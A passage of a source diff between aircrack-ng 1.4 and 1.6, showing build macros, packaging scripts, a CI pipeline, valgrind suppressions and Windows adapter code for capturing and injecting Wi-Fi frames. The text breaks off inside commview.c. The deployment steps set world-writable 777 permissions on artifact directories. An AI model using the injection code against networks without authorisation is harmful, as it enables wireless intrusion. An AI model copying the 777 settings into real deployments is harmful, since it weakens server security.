         AC_MSG_CHECKING([for SQLite3 header])
 
         if test "$ac_sqlite3_path" != ""; then
-            ac_sqlite3_ldflags="-L$ac_sqlite3_path/lib"
+            ac_sqlite3_ldflags="-L$ac_sqlite3_path/${STATIC_LIBDIR_NAME}"
             ac_sqlite3_cppflags="-I$ac_sqlite3_path/include"
             AC_MSG_RESULT([explicitly set; $ac_sqlite3_path])
         else
@@ -92,7 +93,7 @@
                     && test -r "$ac_sqlite3_path_tmp/include/$ac_sqlite3_header"; then
                     ac_sqlite3_path=$ac_sqlite3_path_tmp
                     ac_sqlite3_cppflags="-I$ac_sqlite3_path_tmp/include"
-                    ac_sqlite3_ldflags="-L$ac_sqlite3_path_tmp/lib"
+                    ac_sqlite3_ldflags="-L$ac_sqlite3_path_tmp/${STATIC_LIBDIR_NAME}"
                     AC_MSG_RESULT([found; $ac_sqlite3_path_tmp/include/$ac_sqlite3_header])
                     break;
                 fi

aircrack-ng-1.4.tar.gz/build/m4/ax_pthread.m4 -> aircrack-ng-1.6.tar.gz/build/m4/ax_pthread.m4 Changed

aircrack-ng-1.4.tar.gz/build/m4/libgcrypt.m4 -> aircrack-ng-1.6.tar.gz/build/m4/libgcrypt.m4 Changed

aircrack-ng-1.4.tar.gz/build/openssl.sh -> aircrack-ng-1.6.tar.gz/build/openssl.sh Changed

aircrack-ng-1.4.tar.gz/build/package-win32.ps1 -> aircrack-ng-1.6.tar.gz/build/package-win32.ps1 Changed

@@ -113,7 +113,7 @@
 git reset --hard
 Pop-Location
 
-c:\cygwin\bin\bash.exe -e -l -c "/bin/rsync -a gui/ `"$env:DIST/src`" && /bin/rm -fr `"$env:DIST/src/.git`" `"$env:DIST/patches`" `"$env:DIST/apparmor`""
+c:\cygwin\bin\bash.exe -e -l -c "/bin/rsync -a gui/ `"$env:DIST/src`" && /bin/rm -fr `"$env:DIST/src/.git`" `"$env:DIST/.gitignore`" `"$env:DIST/appveyor.yml`" `"$env:DIST/.travis.yml`" `"$env:DIST/README.md`" `"$env:DIST/.github`" `"$env:DIST/patches`" `"$env:DIST/apparmor`""
 
 Push-Location gui/GUI
 & "$env:MSBUILD" Aircrack-ng.sln /p:Configuration=Release /p:Platform="Any CPU"
@@ -150,7 +150,7 @@
 cp /usr/share/doc/Cygwin/CYGWIN_LICENSE "$env:DIST/LICENSE.Cygwin"
 
 # gather dependencies of Cygwin
-FILES="cygcrypto-1.0.0.dll cyggcc_s-1.dll cyggcc_s-seh-1.dll cygpcre-1.dll cygsqlite3-0.dll cygstdc++-6.dll cygwin1.dll cygz.dll"
+FILES="cygcrypto-1.1.dll cyghwloc-15.dll cyggcc_s-1.dll cyggcc_s-seh-1.dll cygpcre-1.dll cygsqlite3-0.dll cygstdc++-6.dll cygwin1.dll cygz.dll cygxml2-2.dll cyglzma-5.dll cygiconv-2.dll"
 
 for FILE in `$FILES; do
     cp -p "/cygdrive/c/cygwin/bin/`$FILE" "$env:DIST/bin/32bit" || :

aircrack-ng-1.4.tar.gz/build/pipelines/package.yaml -> aircrack-ng-1.6.tar.gz/build/pipelines/package.yaml Changed

@@ -62,14 +62,14 @@
               pkg_type: deb
               pkg_template: "aircrack-ng_VERSION_ARCH.deb"
               pkg_deps: "--category net --deb-priority optional -d iw -d wireless-tools -d ethtool -d usbutils -d rfkill -d libc6 -d libgcc1 -d libltdl7 -d libnl-3-200 -d libnl-genl-3-200 -d libstdc++6"
-              pkg_content: "usr/bin usr/lib usr/sbin usr/share/man"
+              pkg_content: "usr/bin usr/include usr/lib usr/sbin usr/share/man"
               pkg_version: "{{ pkg_deb_revision }}"
             - pkg: "aircrack-ng-{{ pkg_rpm_revision }}.x86_64.rpm"
               pkg_name: aircrack-ng
               pkg_type: rpm
               pkg_template: "aircrack-ng-VERSION.ARCH.rpm"
               pkg_deps: "-d iw -d wireless-tools -d ethtool -d usbutils -d rfkill -d glibc -d libgcc -d libtool-ltdl -d libnl3 -d libstdc++"
-              pkg_content: "usr/bin usr/lib usr/sbin usr/share/man"
+              pkg_content: "usr/bin usr/include usr/lib usr/sbin usr/share/man"
               pkg_version: "{{ pkg_rpm_revision }}"
       - command: mktemp -d
         register: destdir
@@ -88,13 +88,28 @@
         register: exact_tag
       - command: date -u +%Y%m%d%H%M%S
         register: pkg_date
+
+      # Development package naming
       - name: Calculating the Debian package version
         command: echo {{ closest_tag }}+git{{ pkg_date }}-1
         register: pkg_deb_revision
+        when: "exact_tag | trim | count == 0"
       - name: Calculating the RPM package version
         shell:
           script: echo {{ closest_tag }}.{% print pkg_date.stdout[:8] %}git$(git rev-parse --short HEAD)
         register: pkg_rpm_revision
+        when: "exact_tag | trim | count == 0"
+
+      # Stable package naming
+      - name: Calculating the Debian package version
+        command: echo {{ exact_tag }}-1
+        register: pkg_deb_revision
+        when: "exact_tag | trim | count > 0"
+      - name: Calculating the RPM package version
+        shell:
+          script: echo {{ exact_tag }}
+        register: pkg_rpm_revision
+        when: "exact_tag | trim | count > 0"
 
       - name: Metadata Evaluation
         echo: |
@@ -149,6 +164,9 @@
       - name: Staging Installation
         command: "make install-strip DESTDIR={{ destdir }}"
 
+      - name: Produce dist artifacts
+        command: make dist
+
       - name: Packaging
         shell:
           script: "{{ fpm }}"
@@ -168,21 +186,26 @@
                 script: |
                   {% set path = "{{ www }}/{{ artifacts }}/development/{{ commit_id }}/{{ item.pkg_type }}" %}
                   {% set prefix = "{{ www }}/{{ artifacts }}" %}
-                  mkdir -p {{ path }}
+                  mkdir -p "{{ path }}"
                   chmod 777 "{{ www }}/{{ artifacts }}/development/{{ commit_id }}"
-                  chmod 777 {{ path }}
-                  ( cd {{ prefix }}/development && ln -sfnd {{ commit_id }} {{ branch }} )
-                  cp -p {{ item.pkg }} {{ path }}
-                  chmod 664 {{ path }}/{{ item.pkg }}
+                  chmod 777 "{{ path }}"
+                  ( cd "{{ prefix }}/development" && ln -sfnd "{{ commit_id }}" "{{ branch }}" )
+                  cp -p "{{ item.pkg }}" "{{ path }}"
+                  chmod 664 "{{ path }}/{{ item.pkg }}"
               with_items: "{{ pkg }}"
 
+            - shell:
+                script: |
+                  {% set path = "{{ www }}/{{ artifacts }}/development/{{ commit_id }}" %}
+                  find . -name '*.zip' -o -name '*.tar.*' -print0 | xargs -0 -I {} cp -p {} "{{ path }}"
+
             - name: Deploying development package manifest
               tags:
                 - www
               shell:
                 script: |
-                  mkdir -p {{ www }}/{{ artifacts }}
-                  cat > {{ www }}/{{ artifacts }}/development.json <<-EOF
+                  mkdir -p "{{ www }}/{{ artifacts }}"
+                  cat > "{{ www }}/{{ artifacts }}/development.json" <<-EOF
                   {
                     "build": "development",
                     "commit": "{{ commit_id }}",
@@ -198,9 +221,9 @@
               shell:
                 script: |
                   {% set prefix = "{{ www }}/{{ artifacts }}" %}
-                  mkdir -p {{ prefix }}/stable
-                  chmod 777 {{ prefix }}/stable
-                  ln -sfnd {{ prefix }}/development/{{ commit_id }} {{ prefix }}/stable/{{ exact_tag }}
+                  mkdir -p "{{ prefix }}/stable"
+                  chmod 777 "{{ prefix }}/stable"
+                  ( cd "{{ prefix }}/stable" && ln -sfnd "../development/{{ commit_id }}" "{{ exact_tag }}" )
               when: "exact_tag | trim | count > 0"
 
             - name: Deploying stable package manifest
@@ -208,7 +231,7 @@
                 - www
               shell:
                 script: |
-                  cat > {{ www }}/{{ artifacts }}/stable.json <<-EOF
+                  cat > "{{ www }}/{{ artifacts }}/stable.json" <<-EOF
                   {
                     "build": "stable",
                     "commit": "{{ commit_id }}",
@@ -237,14 +260,16 @@
                   - elementaryos/loki
                   - linuxmint/sylvia
                   - linuxmint/tara
+                  - linuxmint/tessa
                   - raspbian/buster
                   - ubuntu/xenial
                   - ubuntu/bionic
+                  - ubuntu/cosmic
                 tasks:
-                  - command: "package_cloud push aircrack-ng/git/{{ matrix_tag }} {{ item.pkg }}"
+                  - command: "package_cloud push --yes aircrack-ng/git/{{ matrix_tag }} {{ item.pkg }}"
                     with_items: "{{ pkg | selectattr('pkg_type', 'equalto', 'deb') | list }}"
 
-                  - command: "package_cloud push aircrack-ng/release/{{ matrix_tag }} {{ item.pkg }}"
+                  - command: "package_cloud push --yes aircrack-ng/release/{{ matrix_tag }} {{ item.pkg }}"
                     when: "exact_tag | trim | count > 0"
                     with_items: "{{ pkg | selectattr('pkg_type', 'equalto', 'deb') | list }}"
 
@@ -255,6 +280,7 @@
                   - el/7
                   - fedora/27
                   - fedora/28
+                  - fedora/29
                   - opensuse/42.1
                   - opensuse/42.2
                   - opensuse/42.3
@@ -262,11 +288,12 @@
                   - sles/12.1
                   - sles/12.2
                   - sles/12.3
+                  - sles/15.0
                 tasks:
-                  - command: "package_cloud push aircrack-ng/git/{{ matrix_tag }} {{ item.pkg }}"
+                  - command: "package_cloud push --yes aircrack-ng/git/{{ matrix_tag }} {{ item.pkg }}"
                     with_items: "{{ pkg | selectattr('pkg_type', 'equalto', 'rpm') | list }}"
 
-                  - command: "package_cloud push aircrack-ng/release/{{ matrix_tag }} {{ item.pkg }}"
+                  - command: "package_cloud push --yes aircrack-ng/release/{{ matrix_tag }} {{ item.pkg }}"
                     when: "exact_tag | trim | count > 0"
                     with_items: "{{ pkg | selectattr('pkg_type', 'equalto', 'rpm') | list }}"

aircrack-ng-1.6.tar.gz/build/pvs-studio.sh Added

aircrack-ng-1.4.tar.gz/build/travis-formatting.sh -> aircrack-ng-1.6.tar.gz/build/travis-formatting.sh Changed

aircrack-ng-1.6.tar.gz/build/valgrind.supp Added

@@ -0,0 +1,73 @@
+{
+   <insert_a_suppression_name_here>
+   Memcheck:Leak
+   match-leak-kinds: possible
+   fun:calloc
+   fun:allocate_dtv
+   fun:_dl_allocate_tls
+   fun:allocate_stack
+   fun:pthread_create@@GLIBC_2.2.5
+   fun:main
+}
+{
+   <insert_a_suppression_name_here>
+   Memcheck:Leak
+   match-leak-kinds: definite
+   fun:malloc
+   fun:hwloc_bitmap_dup
+   fun:hwloc_distrib
+   fun:hwloc_distrib
+   fun:hwloc_distrib
+   fun:hwloc_distrib
+   fun:hwloc_distrib
+   fun:hwloc_distrib
+   fun:hwloc_distrib
+   fun:ac_cpuset_distribute
+   fun:main
+}
+{
+   <insert_a_suppression_name_here>
+   Memcheck:Leak
+   match-leak-kinds: indirect
+   fun:malloc
+   fun:hwloc_bitmap_dup
+   fun:hwloc_distrib
+   fun:hwloc_distrib
+   fun:hwloc_distrib
+   fun:hwloc_distrib
+   fun:hwloc_distrib
+   fun:hwloc_distrib
+   fun:hwloc_distrib
+   fun:ac_cpuset_distribute
+   fun:main
+}
+{
+   <insert_a_suppression_name_here>
+   Memcheck:Leak
+   match-leak-kinds: reachable
+   fun:calloc
+   fun:_dlerror_run
+   fun:dlopen@@GLIBC_2.2.5
+   fun:ac_crypto_engine_loader_load
+   fun:load_aircrack_crypto_dso
+   fun:main
+}
+{
+   <insert_a_suppression_name_here>
+   Memcheck:Leak
+   match-leak-kinds: reachable
+   fun:calloc
+   fun:numa_bitmask_alloc
+   ...
+}
+{
+   <insert_a_suppression_name_here>
+   Memcheck:Leak
+   match-leak-kinds: reachable
+   ...
+   fun:call_init.part.0
+   fun:call_init
+   fun:_dl_init
+   ...
+}
+

aircrack-ng-1.6.tar.gz/centos_autotools.sh Added

@@ -0,0 +1,71 @@
+#!/bin/sh
+
+AUTO_INSTALL=0
+
+is_installed() {
+	yum list installed $1 >/dev/null 2>/dev/null
+	if [ $? -eq 1 ]; then
+		if [ ${AUTO_INSTALL} -eq 1 ]; then
+			yum install $1
+			if [ $? -ne 0 ]; then
+				echo "Failed installing $1, aborting"
+				exit 1
+			fi
+		else
+			echo "$1 is missing"
+			exit 1
+		fi
+	fi
+}
+
+is_installed epel-release
+is_installed tar
+is_installed wget
+is_installed glib2-devel
+is_installed gcc
+is_installed g++
+is_installed make
+
+autoconf_version=2.69
+automake_version=1.16.1
+libtool_version=2.4.6
+pkgconf_version=0.29
+
+echo "Installing autoconf ${autoconf_version}"
+wget http://ftp.gnu.org/gnu/autoconf/autoconf-${autoconf_version}.tar.xz \
+ && tar xJf autoconf-${autoconf_version}.tar.xz \
+ && cd autoconf-${autoconf_version} \
+ && ./configure --prefix=/usr/local \
+ && make \
+ && make install \
+ && cd ..
+
+
+echo "Installing automake ${automake_version}"
+wget http://ftp.gnu.org/gnu/automake/automake-${automake_version}.tar.xz \
+ && tar xJf automake-${automake_version}.tar.xz \
+ && cd automake-${automake_version} \
+ && ./configure --prefix=/usr/local \
+ && make \
+ && make install \
+ && cd ..
+
+echo "Installing libtool ${libtool_version}"
+wget http://ftp.gnu.org/gnu/libtool/libtool-${libtool_version}.tar.xz \
+ && tar xJf libtool-${libtool_version}.tar.xz \
+ && cd libtool-${libtool_version} \
+ && ./configure --prefix=/usr/local \
+ && make \
+ && make install \
+ && cd ..
+
+echo "Installing pkg-config ${pkgconf_version}"
+wget https://pkg-config.freedesktop.org/releases/pkg-config-${pkgconf_version}.tar.gz \
+ && tar xzf pkg-config-${pkgconf_version}.tar.gz \
+ && cd pkg-config-${pkgconf_version} \
+ && ./configure --prefix=/usr/local --libdir=/usr/lib64 \
+ && make \
+ && make install \
+ && cd ..
+
+echo 'Done'

aircrack-ng-1.4.tar.gz/configure.ac -> aircrack-ng-1.6.tar.gz/configure.ac Changed

@@ -1,6 +1,6 @@
 # Aircrack-ng
 #
-# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+# Copyright (C) 2017-2020 Joseph Benden <joe@benden.us>
 #
 # Autotool support was written by: Joseph Benden <joe@benden.us>
 #
@@ -37,11 +37,19 @@
 # If you delete this exception statement from all source files in the
 # program, then also delete it here.
 
-# FIXME: MULTIBIN implementation in here and src/Makefile.am
-
-AC_PREREQ(2.52)
+m4_define([version_date], "January 2020")
+m4_define([version_major], 1)
+m4_define([version_minor], 6)
+m4_define([version_micro], 0)
+m4_define([version_beta],  0)
+m4_define([version_rc],    0)
+m4_define([version_scm],[m4_translit(m4_esyscmd([$(pwd)/evalrev . scm || echo]),m4_newline)])
+m4_define([version_triplet],version_major.version_minor.version_micro)
+m4_append([version_triplet],version_scm)
+
+AC_PREREQ([2.52])
 AC_INIT([aircrack-ng],
-    [m4_translit(m4_esyscmd([./evalrev || cat ./VERSION]),m4_newline)],
+    [version_triplet],
     [https://forum.aircrack-ng.org])
 
 #
@@ -56,14 +64,22 @@
 #
 AC_CONFIG_AUX_DIR([.])
 AC_CONFIG_MACRO_DIR([build/m4/stubs])
+AC_CONFIG_HEADERS([config.h])
 
-AM_INIT_AUTOMAKE([1.10 dist-bzip2 dist-zip foreign])
+AM_INIT_AUTOMAKE([1.14 dist-bzip2 dist-zip foreign subdir-objects])
 AM_MAINTAINER_MODE([enable])
 AC_SUBST([ACLOCAL_AMFLAGS], ["-I build/m4/stubs -I build/m4 \${ACLOCAL_FLAGS}"])
 
 m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES([yes])])
 
 #
+# Ensure MAKE is GNU compatible
+#
+if ! ${MAKE-make} --version /cannot/make/this >/dev/null 2>&1; then
+    AC_MSG_ERROR([you don't seem to have GNU make; it is required])
+fi
+
+#
 # Find tooling
 #
 AIRCRACK_NG_PROG_CC
@@ -71,7 +87,26 @@
 AC_PROG_INSTALL
 AM_PROG_AS
 PKG_PROG_PKG_CONFIG
+AM_PROG_CC_C_O
+
+#
+# Set versioning detail
+#
+AC_SUBST([_MAJ], [version_major])
+AC_SUBST([_MIN], [version_minor])
+AC_SUBST([_SUB_MIN], [version_micro])
+AC_SUBST([_BETA], [version_beta])
+AC_SUBST([_RC], [version_rc])
+AC_SUBST([_SCM], [version_scm])
+AC_SUBST([LT_VER], [version_major.version_minor.version_micro])
+AC_SUBST([MAN_RELEASE_DATE], [version_date])
+AC_SUBST([MAN_RELEASE_VERSION], ["Version version_triplet"])
+AC_DEFINE([_REVISION], ["version_triplet"], [The version information of the project])
+AC_DEFINE([LT_CYGWIN_VER], ["-version_major-version_minor-version_micro.dll"], [The Cygwin DLL version string suffix])
 
+#
+# Initialize libtool
+#
 LT_INIT([win32-dll disable-static shared])
 
 #
@@ -82,11 +117,6 @@
 AIRCRACK_NG_OS_DETECT
 
 #
-# Extra versioning
-#
-AIRCRACK_NG_REVISION
-
-#
 # Required
 #
 AIRCRACK_NG_CRYPTO
@@ -97,6 +127,7 @@
 # Optional
 #
 AIRCRACK_NG_AIRPCAP
+AIRCRACK_NG_EXPECT
 AIRCRACK_NG_EXPERIMENTAL
 AIRCRACK_NG_EXT_SCRIPTS
 AIRCRACK_NG_HWLOC
@@ -120,6 +151,10 @@
 AX_LIB_SOCKET_NSL
 AC_CHECK_LIB([dl], [dlopen], [ LIBS="$LIBS -ldl" ], [:])
 AC_CHECK_LIB([m], [sin], [ LIBS="$LIBS -lm" ], [:])
+saved_cflags="$CFLAGS"
+CFLAGS=""
+AC_CHECK_FUNCS([posix_memalign aligned_alloc memalign __mingw_aligned_malloc _aligned_malloc], break)
+CFLAGS="$saved_cflags"
 
 #
 # Code Coverage Support
@@ -160,6 +195,7 @@
 AM_CONDITIONAL([ENABLE_INSTALLED_TESTS], [test "nope" = yes]) # for glib tests
 AM_CONDITIONAL([CMOCKA], [test "$CMOCKA_FOUND" = yes])
 AM_CONDITIONAL([STATIC_BUILD], [test "$enable_static" = yes])
+AM_CONDITIONAL([EXPECT], [test "$EXPECT_FOUND" = yes])
 
 #
 # Save flags for build summary
@@ -180,10 +216,36 @@
 #
 # Generate all build files
 #
-AC_OUTPUT([
+AC_CONFIG_FILES([
 Makefile
-
+VERSION
+
+include/aircrack-ng/version.h
+
+manpages/airbase-ng.8
+manpages/aircrack-ng.1
+manpages/airdecap-ng.1
+manpages/airdecloak-ng.1
+manpages/aireplay-ng.8
+manpages/airmon-ng.8
+manpages/airodump-ng.8
+manpages/airodump-ng-oui-update.8
+manpages/airolib-ng.1
+manpages/airserv-ng.8
+manpages/airtun-ng.8
+manpages/airventriloquist-ng.8
+manpages/besside-ng.8
+manpages/besside-ng-crawler.1
+manpages/buddy-ng.1
+manpages/easside-ng.8
+manpages/ivstools.1
+manpages/kstats.1
 manpages/Makefile
+manpages/makeivs-ng.1
+manpages/packetforge-ng.1
+manpages/tkiptun-ng.8
+manpages/wesside-ng.8
+manpages/wpaclean.1
 
 scripts/Makefile
 scripts/airdrop-ng/Makefile
@@ -192,18 +254,9 @@
 scripts/airgraph-ng/man/Makefile
 scripts/versuck-ng/Makefile
 
-src/Makefile
-src/aircrack-crypto/Makefile
-src/aircrack-util/Makefile
-src/include/Makefile
-src/aircrack-osdep/Makefile
-src/aircrack-osdep/radiotap/Makefile
-
-test/Makefile
 test/test-env.sh
-test/cryptounittest/Makefile
-test/unit/Makefile
 ])
+AC_OUTPUT
 
 #
 # Output a summary of the build to be performed
@@ -241,6 +294,7 @@
     CPU L1 cache-line size:      ${CACHELINE_SIZE}
 
   Crypto Libraries:
+    Crypto Engine:               ${CRYPTO_TYPE}
     Gcrypt:                      ${GCRYPT_LIBS}
     OpenSSL:                     ${OPENSSL_LIBS}

aircrack-ng-1.6.tar.gz/contrib Added

aircrack-ng-1.6.tar.gz/contrib/airpcap Added

aircrack-ng-1.6.tar.gz/contrib/airpcap/Makefile Added

aircrack-ng-1.6.tar.gz/contrib/airpcap/airpcap.c Added

@@ -0,0 +1,274 @@
+#include <string.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <windows.h>
+
+#include <airpcap.h>
+
+#include "osdep.h"
+#include "tap-win32/common.h"
+
+static const char * DEFAULT_ADAPT_NAME = "\\\\.\\airpcap00";
+static const char * DEVICE_HEADER = "\\\\.\\";
+
+
+//pcap_t *winpcap_adapter;
+static PAirpcapHandle airpcap_handle;
+
+
+// Use PPI later
+#define PPH_PH_VERSION		((u_int8_t)0x00)
+#define	PPI_FIELD_TYPE_802_11_COMMON		((u_int16_t)0x02)
+
+typedef struct _PPI_PACKET_HEADER
+{
+	u_int8_t	PphVersion;
+	u_int8_t	PphFlags;
+	u_int16_t	PphLength;
+	u_int32_t	PphDlt;
+}
+PPI_PACKET_HEADER, *PPPI_PACKET_HEADER;
+
+typedef struct _PPI_FIELD_HEADER
+{
+	u_int16_t PfhType;
+	u_int16_t PfhLength;
+}
+PPI_FIELD_HEADER, *PPPI_FIELD_HEADER;
+
+typedef struct _PPI_FIELD_802_11_COMMON
+{
+	u_int64_t	TsfTimer;
+	u_int16_t	Flags;
+	u_int16_t	Rate;
+	u_int16_t	ChannelFrequency;
+	u_int16_t	ChannelFlags;
+	u_int8_t	FhssHopset;
+	u_int8_t	FhssPattern;
+	int8_t		DbmAntSignal;
+	int8_t		DbmAntNoise;
+}
+PPI_FIELD_802_11_COMMON, *PPPI_FIELD_802_11_COMMON;
+
+
+
+static int ppi_decode(const u_char *p, int caplen, int *hdrlen, int *power)
+{
+	PPPI_PACKET_HEADER pPpiPacketHeader;
+	PPPI_FIELD_HEADER	pFieldHeader;
+	ULONG position = 0;
+
+	// Sanity checks
+	if (caplen < sizeof(*pPpiPacketHeader))
+	{
+		// Packet smaller than the PPI fixed header
+		return( 1 );
+	}
+
+	pPpiPacketHeader = (PPPI_PACKET_HEADER)p;
+
+	*hdrlen = pPpiPacketHeader->PphLength;
+
+	if(caplen < *hdrlen)
+	{
+		// Packet smaller than the PPI fixed header
+		return( 1 );
+	}
+
+	position = sizeof(*pPpiPacketHeader);
+
+	if (pPpiPacketHeader->PphVersion != PPH_PH_VERSION)
+	{
+		fprintf( stderr, "Unknown PPI packet header version (%u)\n", pPpiPacketHeader->PphVersion);
+		return( 1 );
+	}
+
+	do
+	{
+		// now we suppose to have an 802.11-Common header
+		if (*hdrlen < sizeof(*pFieldHeader) + position)
+		{
+			break;
+		}
+
+		pFieldHeader = (PPPI_FIELD_HEADER)(p + position);
+		position += sizeof(*pFieldHeader);
+
+		switch(pFieldHeader->PfhType)
+		{
+			case PPI_FIELD_TYPE_802_11_COMMON:
+				if (pFieldHeader->PfhLength != sizeof(PPI_FIELD_802_11_COMMON) || caplen - position < sizeof(PPI_FIELD_802_11_COMMON))
+				{
+					// the header is bogus, just skip it
+					fprintf( stderr, "Bogus 802.11-Common Field. Skipping it.\n");
+				}
+				else
+				{
+					PPPI_FIELD_802_11_COMMON pField = (PPPI_FIELD_802_11_COMMON)(p + position);
+
+					if (pField->DbmAntSignal != -128)
+					{
+						*power = (int)pField->DbmAntSignal;
+					}
+					else
+					{
+						*power = 0;
+					}
+				}
+				break;
+
+			default:
+				// we do not know this field. Just print type and length and skip
+				break;
+		}
+
+		position += pFieldHeader->PfhLength;
+	}
+	while(TRUE);
+
+	return( 0 );
+}
+
+
+int cygwin_set_mac(unsigned char *mac)
+{
+   	if (*mac) {}
+   	return 0;
+}
+
+void cygwin_close(void)
+{
+	// By default, when plugged in, the adapter is set in monitor mode;
+	// Application may assume it's already in monitor mode and forget to set it
+	// So, do not remove monitor mode.
+	if (airpcap_handle != NULL)
+	{
+		AirpcapClose(airpcap_handle);
+	}
+}
+
+int cygwin_get_mac(unsigned char *mac)
+{
+   // Don't use the function from Airpcap
+	if (*mac) {}
+
+	return 0;
+}
+
+// Use PPI headers to obtain the different information for ri
+// Use AirpcapConvertFrequencyToChannel() to get channel
+// Add an option to give frequency instead of channel
+int cygwin_sniff(void *buf, int len, struct rx_info *ri)
+{
+	UINT BytesReceived = 0;
+
+	// Wait for the next packet
+	// Maybe add an event packets to read
+	// WaitForSingleObject(ReadEvent, INFINITE);
+
+	// Read a packet
+	if(AirpcapRead(airpcap_handle, buf, len, &BytesReceived))
+		return (int)BytesReceived;
+
+	return -1;
+}
+
+int cygwin_inject(void *buf, int len, struct tx_info *ti)
+{
+	if (AirpcapWrite (airpcap_handle, buf, len) != 1)
+		return -1;
+
+	return len;
+}
+
+static int printErrorCloseAndReturn(const char * err, int retValue)
+{
+	if (err && airpcap_handle)
+	{
+		if (strlen(err))
+		{
+			if (airpcap_handle)
+				fprintf( stderr, err, AirpcapGetLastError(airpcap_handle));
+			else
+				fprintf( stderr, err);
+		}
+	}
+
+	cygwin_close();
+
+    return retValue;
+}
+
+int cygwin_init(char *param)
+{
+	char * iface;
+    char errbuf[AIRPCAP_ERRBUF_SIZE ];
+
+	iface = (char *)calloc(1, strlen(param) + strlen(DEVICE_HEADER) +1);
+	strcpy (iface, DEFAULT_ADAPT_NAME);
+
+	if (param)
+	{
+		// if it's empty, use the default adapter
+		if (strlen(param) > 0)
+		{
+			// Make sure the adapter name contains the '\\.\' at its beginning
+			memset(iface, 0, strlen(param) + strlen(DEVICE_HEADER) +1);
+
+			if (strstr(param, DEVICE_HEADER) == NULL)
+			{
+				// Not found, add it
+
+				strcpy(iface, DEVICE_HEADER);
+				strcat(iface, param);
+			}
+			else
+			{
+				// Already contains the adapter header
+				strcpy(iface, param);
+			}
+		}
+	}
+
+    airpcap_handle = AirpcapOpen(iface, errbuf);
+
+    if(airpcap_handle == NULL)
+    {
+        fprintf( stderr, "This adapter doesn't have wireless extensions. Quitting\n");
+        //pcap_close( winpcap_adapter );
+        return( -1 );
+    }
+
+    /* Tell the adapter that the packets we'll send and receive don't include the FCS */
+    if(!AirpcapSetFcsPresence(airpcap_handle, FALSE))
+		return printErrorCloseAndReturn("Error setting FCS presence: %s\n", -1);
+
+    /* Set the link layer to bare 802.11 */
+    if(!AirpcapSetLinkType(airpcap_handle, AIRPCAP_LT_802_11))
+		return printErrorCloseAndReturn("Error setting the link type: %s\n", -1);
+
+    /* Accept correct frames only */
+	if( !AirpcapSetFcsValidation(airpcap_handle, AIRPCAP_VT_ACCEPT_CORRECT_FRAMES) )
+		return printErrorCloseAndReturn("Error setting FCS validation: %s\n", -1);
+
+    /* Set a low mintocopy for better responsiveness */
+    if(!AirpcapSetMinToCopy(airpcap_handle, 1))
+		return printErrorCloseAndReturn("Error setting MinToCopy: %s\n", -1);
+
+	return 0;
+}
+
+int cygwin_set_chan(int chan)
+{
+	// Make sure a valid channel is given
+	if (chan <= 0)
+		return -1;
+
+	if(!AirpcapSetDeviceChannel(airpcap_handle, chan))
+	{
+		printf("Error setting the channel to %d: %s\n", chan, AirpcapGetLastError(airpcap_handle));
+		return -1;
+	}
+
+	return 0;
+}

aircrack-ng-1.6.tar.gz/contrib/commview Added

aircrack-ng-1.6.tar.gz/contrib/commview/Makefile Added

aircrack-ng-1.6.tar.gz/contrib/commview/commview.c Added

@@ -0,0 +1,618 @@
+#include <net/if.h>
+#include <sys/ioctl.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <assert.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <wchar.h>
+
+#include <windows.h>
+#include <iphlpapi.h>
+#include <setupapi.h>
+#include <devguid.h>
+#include <pthread.h>
+
+#include "osdep.h"
+#include "tap-win32/common.h"
+
+#define BUFSIZE 0x3E8000
+
+struct CV_Header {
+        unsigned int TickCount; // GetTickCount() / 1000 at time of packet
+        unsigned int Micros;    // Microsecond counter at time of packet
+        /* The following might be backwards, unsure */
+        int PacketSize;         // Full packet size?
+        int SliceSize;          // Truncated packet size?
+        int Unknown;            // Not sure what this is.
+};
+
+struct CV_Header2 {
+        char ErrorFlag;   // ErrorFlag & 1 = CRC error
+        char Unknown2[6]; // Unknown
+        char Power;       // Power
+        char Unknown3[6]; // Unknown
+};
+
+struct cstate {
+	char		cs_param[256];
+	int		cs_ioctls;
+	struct ifreq	cs_ifreq;
+	char		cs_guid[256];
+	HKEY		cs_key;
+	int		cs_chan;
+	volatile int	cs_restarting;
+	void		*cs_lib;
+	pthread_mutex_t	cs_mtx;
+	int		cs_debug;
+
+	char		(__cdecl *cs_F1)(int Code);
+	char		(__cdecl *cs_F2)(void);
+	char		(__cdecl *cs_T1)(int Size, unsigned char *Buffer);
+	char		(__cdecl *cs_CC)(int Channel);
+	char		(__cdecl *cs_S1)(int Channel);
+	int		(__cdecl *cs_S5)(unsigned char *Buffer, int Length);
+	int		(__cdecl *cs_GN)(wchar_t *);
+	int		(*cs_SC)(int band);
+} _cs;
+
+static struct cstate *get_cs(void)
+{
+	return &_cs;
+}
+
+static int print_error(char *fmt, ...)
+{
+	va_list ap;
+
+	va_start(ap, fmt);
+	vprintf(fmt, ap);
+	va_end(ap);
+	printf("\n");
+
+	return -1;
+}
+
+static void print_debug(char *fmt, ...)
+{
+	struct cstate *cs = get_cs();
+	va_list ap;
+
+	if (!cs->cs_debug)
+		return;
+
+	va_start(ap, fmt);
+	vprintf(fmt, ap);
+	va_end(ap);
+	printf("\n");
+}
+
+static int do_init_lib(struct cstate *cs)
+{
+	/* init */
+        if (!cs->cs_F1(BUFSIZE))
+		return print_error("F1");
+       
+       	/* start monitor */
+        if (!cs->cs_S1(cs->cs_chan))
+		return print_error("S1");
+
+	/* change chan */
+	if (!cs->cs_CC(cs->cs_chan))
+		return print_error("CC");
+
+	return 0;
+}
+
+static int init_lib(struct cstate *cs)
+{
+	char *lib = "ca2k.dll";
+	void *ca2k_dll;
+
+	ca2k_dll = dlopen(lib, RTLD_LAZY);
+	if (!ca2k_dll)
+		return print_error("dlopen(%s)", lib);
+	cs->cs_lib = ca2k_dll;
+
+        // Initialise
+        cs->cs_F1 = dlsym(ca2k_dll, "F1");
+        // Transmit
+        cs->cs_T1 = dlsym(ca2k_dll, "T1");
+        // Change monitoring channel
+        cs->cs_CC = dlsym(ca2k_dll, "CC");
+        // Start monitoring
+        cs->cs_S1 = dlsym(ca2k_dll, "S1");
+        // Read packets
+        cs->cs_S5 = dlsym(ca2k_dll, "S5");
+	// Finalize
+	cs->cs_F2 = dlsym(ca2k_dll, "F2");
+	// Get Adapter Name 
+	cs->cs_GN = dlsym(ca2k_dll, "GN");
+
